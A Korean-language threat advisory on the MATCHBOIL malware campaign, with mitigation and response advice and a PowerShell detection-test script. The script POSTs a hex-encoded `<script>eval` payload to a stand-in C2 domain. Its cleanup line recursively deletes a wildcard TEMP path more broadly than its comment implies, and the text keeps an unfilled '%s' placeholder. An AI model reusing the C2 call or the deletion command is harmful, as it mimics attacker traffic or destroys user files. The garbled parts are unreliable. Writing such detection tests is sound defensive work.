MATCHBOIL 악성코드 캠페인, 지속적인 공격을 위한 새로운 기술 도입

요약

러시아와 연계된 APT 그룹인 UAC-0099는 2024년에서 2026년 사이에 MATCHBOIL C# 다운로드 프로그램을 상당히 발전시켰습니다. 이 악성코드는 MATCHWOK 백도어와 같은 2차 페이로드를 다운로드, 배포 및 지속성을 유지하는 데 사용됩니다. 새로운 변종은 .NET 리액터를 통한 강력한 난독화, 샌드박스 회피 기법, 더욱 정교해진 C2 통신 방법을 통합하고 있습니다.

조사

ESET 연구원들은 텔레메트리와 VirusTotal 제출을 통해 식별된 MATCHBOIL 변종에 대한 연대기적 분석을 수행했습니다. 조사는 기본 유니코드 난독화에서 고급 코드 가상화 및 GUI 기반 사용자 기만으로의 악성코드 발전을 문서화했습니다. 연구원들은 또한 WMI 쿼리, HTTPS 통신 로직 및 지속성 기법을 조사하기 위해 C# 요소를 디컴파일했습니다.

완화

조직은 의심스러운 C# 실행과 사용자 프로필 디렉터리 내의 예상치 못한 예약 작업 또는 레지스트리 변경을 모니터링해야 합니다. 엔드포인트 탐지는 승인되지 않은 WMI 쿼리와 이전에 특성화되지 않은 도메인으로의 비정상적인 아웃바운드 HTTPS 트래픽을 식별해야 합니다. 보안 팀은 또한 알려진 악의적인 파일명과 같이 의심스러운 명령줄 인수에 대해 주의해야 합니다 -auto or -plans.

대응

MATCHBOIL 활동이 감지되면 추가적인 페이로드 전송과 C2 통신을 방지하기 위해 영향을 받은 호스트를 격리하십시오. 초기 감염 벡터를 판단하기 위해 포렌식 조사를 수행하며, 이는 대부분 스피어피싱으로 추정됩니다. 레지스트리 Run 키와 예약된 작업을 검토하여 승인되지 않은 항목이 있는지 확인하고, MATCHWOK와 같은 2차 페이로드에 대해 손상된 시스템을 점검하십시오.

시뮬레이션 실행

• 공격 이야기 및 명령: 적대자는 명령 및 제어 (C2) 채널을 설정하여 명령을 수신하고 추가 모듈을 다운로드하려고 합니다. 간단한 IP 기반 차단을 피하기 위해, 공격자는 일반 TLD 아래에 등록된 도메인을 활용합니다 (.pro). 공격자는 “%s” 기술을 시뮬레이션하여 페이로드 안에 포함된 HTTPS 요청을 전송합니다 <script> 블록은 웹 콘텐츠로 위장한 악성 16진수 인코딩 명령을 전달하여 도메인 기반 조건과 페이로드 기반 조건 모두를 트리거하는 것을 목적으로 합니다.

• 회귀 테스트 스크립트:

  # MATCHBOIL C2 통신의 시뮬레이션
  # 해당 스크립트는 페이로드 바디에 스크립트 태그를 포함한 .pro 도메인으로 HTTPS 요청을 수행합니다.
  
  $targetUrl = "https://test-matchboil-c2.pro/api/v1/update"
  $maliciousPayload = "<script>eval(hex_decode('414243'))</script>"
  
  try {
      Write-Host "[+] $targetUrl 로 C2 통신을 시도합니다" -ForegroundColor Cyan
      Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream"
  }
  catch {
      Write-Host "[!] 요청 완료 (도메인이 존재하지 않을 경우 예상되는 실패, 그러나 텔레메트리는 여전히 캡처되어야 합니다)" -ForegroundColor Yellow
  }

• 정리 명령:

  # 스크립트에 의해 영구적인 변경 사항이 생성되지 않았습니다. 
  # 테스트 중에 생성된 모든 로컬 임시 파일이 제거되었는지 확인하십시오.
  Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue